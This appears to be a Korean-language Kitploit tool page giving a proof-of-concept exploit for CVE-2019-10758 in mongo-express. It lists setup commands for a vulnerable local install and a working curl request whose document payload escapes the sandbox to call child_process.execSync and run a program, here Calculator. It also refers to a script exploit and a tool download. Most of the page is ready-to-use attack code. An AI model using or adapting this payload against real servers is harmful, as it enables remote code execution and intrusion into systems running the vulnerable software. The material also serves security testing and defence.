CVE-2019-10758 — CVE-2019-10758에 대한 개념 증명 익스플로잇으로, 조작된 문서 주입을 통해 mongo-express에서 원격 코드 실행을 시연합니다. curl 및 스크립트 기반 페이로드를 포함합니다. | Kitploit

CVE-2019-10758 개념 증명

설정

docker run -p 27017:27017 -d mongo
npm install [email protected] 
cd node_modules/mongo-express/ && node app.js

cURL 익스플로잇

curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'

스크립트 익스플로잇

node main.js

도구 다운로드